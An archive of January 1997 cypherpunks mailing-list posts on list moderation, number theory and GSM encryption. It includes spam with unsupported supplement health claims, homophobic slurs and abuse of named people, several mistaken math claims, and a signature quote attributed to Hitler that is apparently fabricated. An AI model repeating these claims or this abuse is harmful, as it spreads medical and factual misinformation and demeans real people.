From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Jan 1997 13:44:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <v03007809af0844db02a5@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:16 AM -0800 1/19/97, Igor Chudov @ home wrote:
>If you trust me, or someone else, like Prof. Dave Hayes, here's what
>we can do: I establish a sendmail alias cypherpunks@algebra.com that
>expands to, say, your address and also cypherpunks@toad.com.
>
>...
>
>If you indeed notice an impropriety, the digitally signed receipts
>will be your proof that articles were submitted. As long as the
>other readers trust me (or Dave Hayes, or whoever volunteers), you
>will have a strong case even without relying on freudian slips.

I hope if such a system is set up, people who use it will realize that
email is not 100% reliable.  Just because algebra.com sent mail to
toad.com, doesn't mean that toad.com actually received it.  A small
fraction of a percent of these messages will be lost.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: meritassoc@earthlink.net
Date: Sun, 19 Jan 1997 13:48:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: DO YOU BELIEVE THAT YOU'RE MEANT TO BE HEALTHY, HAPPY AND FINANCIALLY FREE?
Message-ID: <199701192147.NAA06869@bulgaria.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

Do you believe that you're meant to be healthy, happy and financially free?

Nutritionist and other health professionals tell us that we should eat the right foods, to get the appropriate vitamins and minerals in our daily diet and exercise in order to stay healthy, right.  RIGHT!  We are slowly realizing that the soil from which our fruits & vegetables come from is also being depleted and in spite of the fact that we try to restore those nutrients artificially, we are not really putting everything back in.

Several years an amazing discovery was made in the Soviet Union and kept secret from the rest of the world until the fall of the Berlin Wall.  This discovery stimulated long term research, funded completely by the Soviet government and headed by the late Dr. I. I. Brekhman, a world renowned & brilliant scientist.   His vision and breakthrough research over 45 years revealed many of nature's most important secrets, which recognized him as the "Father of Adaptogens".

Dr. Brekhman, with a team of over 1,200 biologist and physicians, analyzed and investigated adaptogens in one of the most massive programs of human testing in scientific history.  [No where else except the Soviet Union could this have taken place.]  They produced thousands of dietary studies which definitively validated the safety, benefits and astounding capabilities of adaptogens.

The cosmonauts used Dr. Brekhman's formulas to cope with motion sickness, extended confinements, weightlessness and inherent stress of space travel.

The Olympic athletes used Dr. Brekhman's formulas to improve performance, immune resistance, stamina, endurance, recovery and to cope with the stress of competition.

In a broadly-based study of 60,000 truck drivers at an automobile plant in Tolyiaatti for over 10 years revealed that those workers using adaptogens experienced a 25% reduction in lost time as well as a 40% decrease in influenza and a general improvement in their overall health.

In another study of 655 flight personnel, adaptogens improved the recovery process after long and tiring flight schedules.

We could go on with the results of his research, but I think you get the picture.

The secrets of Dr. Brekhman's work are no longer locked inside Russia.  Adaptogens could soon become as American as apple pie.

In 1991, Dr. Brekhman joined forces with PrimeQuest in an exclusive collaboration to convert his wisdom into a whole new generation of adaptogenic formulas.  The results far exceed his work with cosmonauts and athletes.  He designed a total program for well-being...a program which gives you what you have been missing.  

Before his death in July 1994, Dr. Brekhman was able to complete the goal of his life's work:  "It has always been my dream to create a special formula for life, to make them healthy, stable, happy and to protect them from stress.  All of my life I have worked toward this goal - and now, finally I have achieved a breakthrough.  It is a complicated preparation of natural plant materials which are the best and most effective ingredients I have studied in all of my years of research...ingredients that work together in a combination that derives additional power from the mixture itself." 

No other product on the market today has undergone the clinical studies on humans that these products underwent in the 40+ years of research.

PrimeQuest products can increase your energy and vitality in the most natural way.  You can:

	· Reduce Stress
	· Lose body fat
	· Increase energy
	· Eliminate A.D.D.
	· Improve Sex Drive
	· Reduce P.M.S.

To get a FREE TAPE in which a Harvard MD reveals the SECRET and more information about obtaining these products or becoming a distributor yourself.  E-mail your name, address & phone #  to Meritassoc@earthlink.net or call 1-800-305-6451.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 19 Jan 1997 13:51:23 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
Message-ID: <199701192151.NAA11643@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> In other words, can I separate the censored email without having to
> have two accounts?

You can write a program to read both the censored and uncensored
email, and do a diff. You wouldn't have to see it, and it could be
done so that a "fake" address subscribes to the censored list.

Maybe I should offer this as a service to the uncensored list? ;-)
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

None should say "I can trust" or "I cannot trust" until they are the master
of the option of trusting or not trusting.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 14:40:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] Sphere packings
In-Reply-To: <199701191938.LAA32285@mailmasher.com>
Message-ID: <199701192240.OAA03487@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone with Huge Cajones wrote:

> Tim C. May will fuck anything that moves, but he'd rather be fucking 
> his own mother's dead body.

>          \|/
>         (*,*) Tim C. May
>        _m_-_m_

Uh, is this the filtered or the unfiltered list?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 14:55:22 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL (fwd)
In-Reply-To: <199701191919.NAA00377@einstein>
Message-ID: <199701192255.OAA05514@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate writes:

> "If every segment is to have a numerical measure as its length, then a new
> domain of numbers is needed, an extension to the domain of rational numbers.
> This new domain can no longer be constructed, as in the previous case, by
> number pairs. But hints for its construction are provided by a theoretical
> analysis of the measuring process for segments."

> A mathematicaly rigorous defintion of the class of numbers called 'Real'
> is that which equates the members of that set to the possible lengths of an
> arbitrary line segment.

This seems a tad circular, as the real number line, from which line 
segments are constructed, is a copy of the set of real numbers. 

One can construct the reals from the rationals quite easily using any
of several well-known methods, such as equivalence classes of Cauchy 
sequences, or Dedikind cuts.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 19 Jan 1997 13:02:02 -0800 (PST)
To: Sir Robin of Locksley <tozser@stolaf.edu>
Subject: e digits random?
In-Reply-To: <199701191820.MAA24006@nic.stolaf.edu>
Message-ID: <199701192104.PAA11959@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701191820.MAA24006@nic.stolaf.edu>, on 01/19/97 at 02:20 PM,
   Sir Robin of Locksley <tozser@stolaf.edu> said:


> >Also, is it true that the sequence of digits in e is random because the ONLY way to get
>to the
> >p'th digit is to calculate the p-1'st digits?
> >
>Exactly! This is called recursive definition. To get the p-th set in the
>sequence you need to find p-1 first...

This still would not make the digits random since knowing p-1 one can
calculate p.

In a random series of digits knowing p-1 should not have any effect on the
probability of the value of p.

With e if you know the value of p-1 is 7 then you can calculate the value of p and know if
p is 3 or not. In a random series knowing that p-1 is 7 there should be an equal
probability of p being 3 or any other number.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sun, 19 Jan 1997 12:25:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701192025.PAA02720@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:20 PM 1/19/1997, Sir Robin of Locksley wrote:
>>Is it possible to prove that number
>>0.1234567891011121314151617181920...  iz irrational?
>
>Most definately. All you need to do is prove that the set of this
>number is uncountable, ergo is irrational. If you have friend who
>have done math in real analysis they can explain more.

The set of this number contains one member - the number.  Therefore,
this is a countable set.

A rational number is a number which can be described as a fraction in
which the numerator and the denominator are integers.

Jim Choate implied that "infinity" is an integer.  This is not
correct.  The set of integers is said to be infinite.  Infiniteness is
a property of the set, not a member of the set.

All rational numbers are expressible in a decimal form of finite
length or in a decimal form which ends in a repeatable string of
digits.  (Consider the process by which each successive digit is
found.  It is a fraction of the denominator and some remainder with a
zero added.  The remainder is less than the denominator multiplied by
the base, 10 in this case.  When a remainder repeats, the state of the
algorithm repeats, and its output will therefore be repeated.  Since
the remainder is bounded, the algorithm must repeat a state.  Note
that this holds regardless of the base used.)

If our number, 0.1234..., does not repeat then it is not rational.

Let's show that it does not repeat.  If it repeats, there is a
sequence of digits which repeats indefinitely.  Such a sequence must
be longer than the longest integer.  (Because if it was part of an
integer, the other parts of the integer would not always be the same
and it couldn't repeat.)  But, there is no longest integer.  Therefore
there is no repeating sequence.

Therefore our number, 0.1234..., is not a rational number.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jkurfis@interserv.com
Date: Sun, 19 Jan 1997 15:52:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tomorrow
Message-ID: <199701192352.PAA04158@m3.interserv.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Hello, If you spend time on any of the online services or the internet then I have some exciting news. The Middle Income Financial Independence Club is now excepting new members.  We are an online club of Middle Income people who have joined together to pursue our financial future from the information superhighway.  

If you would like membership information then please email me at jkurfis@interserv.com

Start your online future today!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 19 Jan 1997 16:06:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Thoughts re moderation, filtering, and name changes
Message-ID: <3.0.32.19970119160951.006c26ac@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


(I wrote a pretty long message and decided that the last few paragraphs
said what I was really getting at. So I put the long message on the web at
<http://www.io.com/~gbroiles/cpunks.html> and have sent along only the last
bit.) 

This discussion of public perception now finally reaches what finally
spurred me to write in the first place, which is the relationship of all of
this to the name of the list, and whether the unfiltered list should be
called "cypherpunks" or "cypherpunks-unedited" or whatever. I think that
the dispute over the name (or, more accurately, grumbling and dissent about
John Gilmore's decision about naming) is reducible to a dispute over
whether it's more important that the list be perceived as a "free
expression zone" where any message is accepted, or if it is perceived as a
mailing list with a high signal/noise ratio. At a purely technical level,
these are both non-issues; the name "cypherpunks@toad.com" is merely a
string of text, and we could all just as easily subscribe to
"mxfgfds@toad.com"; and motivated subscribers can use automated tools to
tweak the signal/noise ratio to their individual liking. But most people
will follow a path of least resistance; they will (remain) subscribe[d] to
"cypherpunks@toad.com", and they will not use filters, and what they get is
what the world at large will think "cypherpunks" is.

While I don't care (and suspect many others don't care) what the perception
of "cypherpunks" is, per se, I do care about whether or not interesting
people choose to send their thoughts and information to the list. So to the
extent that public perception changes that, I'm interested. And we've been
doing the "free expression zone" for several years, and what we're ending
up with is a mixture that's mostly crap - of the messages I see (and I
filter a lot out), a small fraction (10%?)  is pure garbage (e.g., the
"cocksucker" messages), a large fraction (60%?) is on-topic but
uninteresting or not useful, and the rest is useful in that it's got
information or a perspective I hadn't been exposed to before I read the
message. Other lists which are moderated (either by message or by author)
attract people whose messages are frequently useful; many of those people
have been on the Cypherpunks list at one time or another and have found it
unsuitable. So I'm ready to experiment with a new configuration because I'd
like to get more useful information.  

One approach to the name question would be to eliminate
"cypherpunks@toad.com" and force old/new subscribers to choose between
"cypherpunks-edited" and "cypherpunks-unedited". The advantage I see is
that it provides more accurate feedback about what people want; the present
method provides information about the perceived value of unmoderation
weighed against the bother of dealing with subscribing & unsubscribing. The
disadvantage is that it's likely to eliminate many subscribers, and that it
tends to abandon the "cypherpunks@toad.com" history which is, by now, ~5
years old. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sun, 19 Jan 1997 13:15:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Numbers we cannot talk about
Message-ID: <199701192115.QAA07547@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:48 PM 1/18/1997, Secret Squirrel wrote:
>Is it REALLY true that there are real numbers that cannot be
>generated by any algorithm? Some guy said that since the set of
>algorithms is countable, but the set of real numbers is more than
>countable, there must be some numbers for which there is no
>algorithms that generate them.

There are sets of real numbers whose existence we can prove, but which
we cannot otherwise describe.  This is more extreme than being
"generated by an algorithm".  We can't even tell somebody which
numbers to generate!  (I take "to generate" here to mean "to compute a
decimal approximation.")

The set of real numbers is uncountable as is the set of subsets of the
real numbers.  Yet, we have only countably infinite ways to describe
sets of numbers.

All sets of numbers which we can describe can be described with a
finite set of symbols.  (Human beings are unable to distinguish
between an infinite number of states.)  The set of combinations of
this finite set is infinite, but countable.

"What we cannot speak about we must pass over in silence."
  - Ludwig Wittgenstein,
    closing line of "Tractatus Logico-Philosophicus"

See the early pages of "Godel's Incompleteness Theorems" by Raymond M.
Smullyan for a better exposition.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 14:29:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: infinity & set membership
Message-ID: <199701192236.QAA00745@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

"The least upper bound of a set of real numbers is often called the
supremum, the greatest lower bound its infimum. In general the supremum and
infimum of a set ARE MEMBERS OF THE SET or at least LIMITS OF SEQUENCES OF
MEMBERS OF THE SET."

[capitalization is mine]

In this case the suprenum is infinity.

Introduction to Calculus and Analysis
Courant and John
Vol. 1, pp. 97, Section e.
1965 Edition
Library of Congress: 65-16403

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 19 Jan 1997 14:21:59 -0800 (PST)
To: nobody@squirrel.owl.de (Secret Squirrel)
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
In-Reply-To: <19970119064820.11000.qmail@squirrel.owl.de>
Message-ID: <199701192238.QAA05435@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I BEG YOU TO HELP ME!!!
> Also, another question for math geniuses here: 
> Is it REALLY true that there are real numbers that cannot be generated
> by any algorithm? Some guy said that since the set of algorithms is
> countable, but the set of real numbers is more than countable, there 
> must be some numbers for which there is no algorithms that generate them.

    x=0;
    x1=0;
    x++;
    x--;
  
    Would give you all int's, the only problem you have is granularity. In
practice, there are numbers which you can't get with algorythms, but in 
theory you should be able to hit all real numbers of given granularity (i.e,
10 digits past the decimal point) with the right hardware and software. as in:

    x=0.00000000001;
    y=0.00000000001;
    x1=x;
    x=x+y;
    x1=x1-y;

    Should give you all real numbers with a granularity of 11 digits to the 
right of the decimal point.

> I AM REAL DESPERATE FOR YOUR ASS ISTANCE.

     HIBT?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 19 Jan 1997 16:43:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <v02140b00af086e8ed0db@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


For voice calls, it is not possible to merely insert a more secure crypto
function (e.g., IDEA) inside the less secure A5 crypto, unless the GSM base
station's protocol is aware the subscriber unit is using the more secure
crypto.  Otherwise, when the GSM base station unwraps the A5 encrypted data
stream, which it assumes will contain digitized voice packets in the clear,
it will not find what its looking for and will be unable to convert the
packets to a circuit-switched voice signal.

If, as I have previously stated, the subscriber instead uses the data port
of his instrument and establishes a data link with his payload protected by
the more the secure crypto this is entirely feasible.

-- Steve


PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet, electronic currency and wireless development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 19 Jan 1997 14:35:48 -0800 (PST)
To: ravage@einstein.ssz.com (Jim Choate)
Subject: Re: Igor@home = Secret Squirrel
In-Reply-To: <199701191752.LAA00157@einstein>
Message-ID: <199701192252.QAA05467@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Take it for what it's worth.
> "An appeal to authority is an appeal to a human being just like yourself
>  who does not have your best interests at heart. What makes you believe
>  they are able to resolve your problems better than yourself?"

     It gives me another perspective to work from. No answers to such 
appeals are taken as gospel. They are considered, tested where appropriate,
and then either implemented, or disgarded.

     In certain areas I am liable to give certain answers more "weight" 
depending on various things (usually some sort of reputation calculation),
but I only really trust (well to certain levels) myself. 

   
  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 15:01:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Monster' numbers
Message-ID: <199701192308.RAA00800@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

In reference to numbers which you can't describe, if you examine the work
they are ALL in the Complex domain, none of them are Real's.

Complex numbers deal with areas, not with lengths.

If there existed a Real for which we could not describe this would imply
that we could not draw a line of that length. Something which is clearly
contrary to the axiomatic assumptions of lines and their construction (ie
points have no dimension, only position, and lines are infinite sequences
of points).

A clear Complex example of a 'monster' is Sierpenski's Gasket. It fills an
area but has no measurable surface area.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 17:37:48 -0800 (PST)
To: aga <dlv@bwalk.dm.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119085107.7506H-100000@dhp.com>
Message-ID: <32E2CC4B.22C9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Sat, 18 Jan 1997, Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:

> > In other words, can I separate the censored email without having to
> > have two accounts?

> You can not.  You need another account.
> I wrote to Steve Case about this censorship problem, and I am waiting
> for him to respond.
> Do you want another account to get the censored list at?

Somebody correct me if I'm wrong.  We already get the censored stuff
on the alleged-to-be "unedited" list, so by looking at the censored
list only, we can do the subtraction more reliably than Sandfort.

Just the censored list is needed, not the cut-out stuff, as far as I know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 15:33:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL (fwd)
Message-ID: <199701192340.RAA00844@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> One can construct the reals from the rationals quite easily using any
> of several well-known methods, such as equivalence classes of Cauchy 
> sequences, or Dedikind cuts.  

So you are saying that the Reals are a subset (ie can be constructed from)
of the Rationals?

I can create a number which is not representable by the ratio of two
integers from two numbers which are representable by ratios of two integers?

That's a nifty trick indeed, I am really impressed.

Cauchy produced a test for testing convergence. I fail to see the relevance
here, but please expound...

Dedekind Cut:

"Thus a nested sequence of rational intervals give rise to a seperation of
all rational numbers into three classes."

Just exactly where does this allow us to create Reals?


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 19 Jan 1997 09:37:06 -0800 (PST)
To: aga@dhp.com
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119085107.7506H-100000@dhp.com>
Message-ID: <19970119174114.21552.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks@taz.nceye.net
   Delivered-To: reece@taz.nceye.net
   Date: Sun, 19 Jan 1997 08:52:58 -0500 (EST)
   From: aga <aga@dhp.com>
   cc: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>, cypherpunks@toad.com
   MIME-Version: 1.0
   Content-Type: TEXT/PLAIN; charset=US-ASCII
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   On Sat, 18 Jan 1997, Dale Thorn wrote:

   > Dr.Dimitri Vulis KOTM wrote:
   > > Someone wrote to me:
   > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
   > > >write what the fuck they like but straight or intelligent or NORMAL
   > > >people will have to be filtered.
   > 
   > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
   > > like Jason Durbin will continue to post personal attacks on Gilmore's
   > > many "enemies", but the victims of the libel will not be able to respond
   > > and refute their lies. The concept of "the best response to speech you
   > > don't like is more speech" is totally alien to the homosexual subculture
   > > on the Internet. These control freaks are into censorship and B&D.
   > 
   > Here's a problem.  I don't have "technical" capabilities in the area of
   > communications software, and I have too full a plate to start studying
   > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
   > allow people to attack others, then cut the responses.
   > 
   > If he does this, and he doesn't rectify it when it's called to his
   > attention, he would need to be punished in some way.  One of the
   > questions I have is, how do I know what's cut when all I subscribe to
   > is the uncensored list?  I do *not* want to subscribe to the filtered
   > list plus the "flames" list, out of principle.  Is this something that
   > would be forced on me/us in order to monitor the censorship?
   > 
   > In other words, can I separate the censored email without having to
   > have two accounts?
   > 
   > 

   You can not.  You need another account.

Not quite true.  I'm going to use one account on a host running qmail
to find the differences between the lists (one will go to
accountname-mod@qmailhost, the other to accountname-raw, and a cron
job will do the comparisons every few minutes).  If you have an
account on a unix box running sendmail, you can have .forward run a
program to sort messages out by sender into separate files for normal
mail, the raw list, and the moderated list.

   I wrote to Steve Case about this censorship problem, and I am waiting
   for him to respond.

   Do you want another account to get the censored list at?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:01:46 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701162142.VAA06080@server.test.net>
Message-ID: <32E2D1E7.7DAC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

This was an utterly fascinating post, if y'all don't mind my saying so.
I certainly can't vouch for the details (or the theories), but whether
any of the details are deliberate experiments on Dimitri's part or not,
the totality of what has taken place would make an excellent source
for a post-graduate study.  Am I right?

I would suggest, however, if you're looking for a likely candidate for
really advanced social manipulation/experimentation, you should be
looking at the list owner(s), not the gadflys.

There's this silly theory some people have, that once in a while the
little people (the good guys?) win enough points to set the bad guys
back a ways.  Not in 20th century Amerika.  Read Carl Oglesby's
article "Paranoia As A Way Of Knowing", and think: "Paranoia As A Way
Of Knowing Who We Are."

[much text deleted below]
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 20:55:52 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <199701200455.UAA00391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

This was an utterly fascinating post, if y'all don't mind my saying so.
I certainly can't vouch for the details (or the theories), but whether
any of the details are deliberate experiments on Dimitri's part or not,
the totality of what has taken place would make an excellent source
for a post-graduate study.  Am I right?

I would suggest, however, if you're looking for a likely candidate for
really advanced social manipulation/experimentation, you should be
looking at the list owner(s), not the gadflys.

There's this silly theory some people have, that once in a while the
little people (the good guys?) win enough points to set the bad guys
back a ways.  Not in 20th century Amerika.  Read Carl Oglesby's
article "Paranoia As A Way Of Knowing", and think: "Paranoia As A Way
Of Knowing Who We Are."

[much text deleted below]
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:07:29 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970119111944.9833A-100000@ixsrs4.ix.netcom.com>
Message-ID: <32E2D346.1370@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS wrote:
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > can't figure out Majordomo or their mailers, and so on and so forth.

> > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > advocates censorship, most likely is one.[snip]
> Ah, very strong response indeed. I feel as if shot down in flames,
> and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> for we are in need!

It still looks like Sandy to me.  Writing style for one, unwillingness
to drop an argument for two, and the use of the name AIDAS is *very*
suspicious.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 20:55:41 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701200455.UAA00369@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS wrote:
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > can't figure out Majordomo or their mailers, and so on and so forth.

> > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > advocates censorship, most likely is one.[snip]
> Ah, very strong response indeed. I feel as if shot down in flames,
> and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> for we are in need!

It still looks like Sandy to me.  Writing style for one, unwillingness
to drop an argument for two, and the use of the name AIDAS is *very*
suspicious.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 16:01:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dedikend Cut's and such
Message-ID: <199701200008.SAA00943@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

Did a little research, Dedekind Cut's and such use Integers to define a
SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
set of Reals.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 18:23:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise]
Message-ID: <199701200223.SAA17184@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > In reference to numbers which you can't describe, if you
